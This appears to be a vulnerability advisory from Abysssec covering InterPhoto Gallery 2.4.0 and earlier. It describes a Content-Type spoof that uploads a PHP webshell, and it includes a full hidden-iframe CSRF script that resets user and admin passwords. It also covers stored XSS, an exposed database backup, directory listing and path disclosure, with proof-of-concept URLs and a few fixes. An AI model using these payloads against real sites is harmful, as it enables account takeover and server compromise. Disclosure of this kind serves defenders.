'''
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| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ < Day 6 (0day)
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|_| |_|\____/_/ \_\____/|____/
'''
- Title : InterPhoto Gallery Multiple Remote Vulnerabilities
- Affected Version : <= 2.4.0
- Vendor Site : http://www.weensoft.com
- Discovery :Abysssec.com
- Description :
===============
InterPhoto Image Gallery is an open-source, simple-using, advanced, professional multi-users' image website System,and it can primely protect the images of your site. InterPhoto can be used to build all kinds of sites which lay out images mainly, such as: design, fashion, exhibition, photograph, painting sites and so on.
- Vulnerabilities:
==================
1)Upload ( bypass Image Uploader ):
------------------------------------------------
InterPhoto allows register users uploading Images.
InterPhoto's User can upload php webshell with this way:
login in the user mode,go to "Publish Image " .
select file for upload, write other field Required and submit.
By Tamper Data tools (webscarab, Paros ,...) Trap Request.
and change "Content-Type" field's value to "image/jpeg".
line 143-150 :
...
if ($action == 'insertimage')
{
$imagefile = $_FILES['imagefile'];
$valid_image_types = array('image/pjpeg', 'image/jpeg', 'image/jpg');
$uploaddir = BASEPATH.'MyWebsiteImages/';
@chmod($uploaddir,0777); // it will chmod upload dir for execute as well !
...
as you can see in flow type it's possible to spoof jpeg request .
ln 43-56
...
if ($image_size[0] > 760 || $image_size[1] > 760) {
if (@rename($uploaddir.$file_path.'/'.$imagename, $uploaddir.$file_path.'/original/'.$imagename)) {
CreateImageFile($uploaddir.$file_path.'/original/'.$imagename, $uploaddir.$file_path."/760x760/".$imagename,'760');
CreateImageFile($uploaddir.$file_path.'/760x760/'.$imagename, $uploaddir.$file_path."/160x160/".$imagename,'160');
CreateImageFile($uploaddir.$file_path.'/160x160/'.$imagename, $uploaddir.$file_path."/80x80/".$imagename,'80');
CreateImageFile($uploaddir.$file_path.'/80x80/'.$imagename, $uploaddir.$file_path."/32x32/".$imagename,'32');
}
}else{
if (@rename($uploaddir.$file_path.'/'.$imagename, $uploaddir.$file_path.'/760x760/'.$imagename)) {
CreateImageFile($uploaddir.$file_path.'/760x760/'.$imagename, $uploaddir.$file_path."/160x160/".$imagename,'160');
CreateImageFile($uploaddir.$file_path.'/160x160/'.$imagename, $uploaddir.$file_path."/80x80/".$imagename,'80');
CreateImageFile($uploaddir.$file_path.'/80x80/'.$imagename, $uploaddir.$file_path."/32x32/".$imagename,'32');
}
...
Refer to size of file you can find your shell in following directory:
http://site.com/InterPhoto/MyWebsiteImages/
2)Persistent XSRFs:
-------------------
Several XSRF existed in this CMS, For Example:Delete user's Image, Change Users&Admin password, Change User&Admin Info,...
Now see Change Users&Admin password:
+POC:
Like number 1 ,go to Publish Image and select Edit HTML,and write this code:
<script>
function creat_request(path,parameter,method){
method = method || "post";
var remote_dive = document.createElement('div');
remote_dive.id = 'Div_id';
var style = 'border:0;width:0;height:0;';
remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
document.body.appendChild(remote_dive);
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
form.setAttribute("target", "iframename");
for(var key in parameter)
{
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", parameter[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
creat_request('http://192.168.101.4/interphoto/mydesk.edit.php',{'action':'updateuser','password':'123456','repassword':'123456','email':'admin@localhost.com','userfullname':'','usercompany':'','useraddress':'','userpostcode':'','usertel':'','userfax':'','useronline':'','userwebsite':''});
</script>
and submit.when any user see this section on Homepage, Delete first image that is Uploaded.
3)stored XSS :
--------------
login in the user mode,go to "Publish Image " .Then
in "Image Description:" section, select Edit HTML icon,and write java tag script.( also write other field Required )
and submit.
for see the XSS go to Home page, and click last update image for see.
Because InterPhoto used nicedit for Image Description.
4)Information Disclosure:
---------------------------------------------
5.1)Backup Database is Downloadable:
+POC:
http://site.com/InterPhoto/admin/backup/
+Fix:
restrict access to this directory by .htaccess file.
5.2)Directory listing :
+POC:
http://site.com/InterPhoto/admin/backup/
http://site.com/InterPhoto/MyWebsiteImages
http://site.com/InterPhoto/UploadImages/
http://site.com/InterPhoto/library/
http://site.com/InterPhoto/languages/
http://site.com/InterPhoto/includes/
http://site.com/InterPhoto/config/
http://site.com/InterPhoto/templates/
http://site.com/InterPhoto/upgrade/
http://site.com/InterPhoto/admin/includes/
http://site.com/InterPhoto/admin/templates/ and ....
+Fix:
Create index.html in all folders.
5)Path Disclosure:
--------------------------------------
InterPhoto CMS has used Smarty library(Templet Engine).
+Code:for example:class Smarty undefined.
/library/smarty/libs/Smarty_Compiler.class.php[line 35]
class Smarty_Compiler extends Smarty {
...
+POC:
http://site.com/InterPhoto/library/smarty/libs/Smarty_Compiler.class.php
http://site.com/InterPhoto/library/smarty/libs/plugins/modifier.date_format.php
http://site.com/InterPhoto/library/smarty/templates_c/[ all files. ]
+Fix:
Add frist page :
if(class_exists('Smarty')){
Add last page:
}
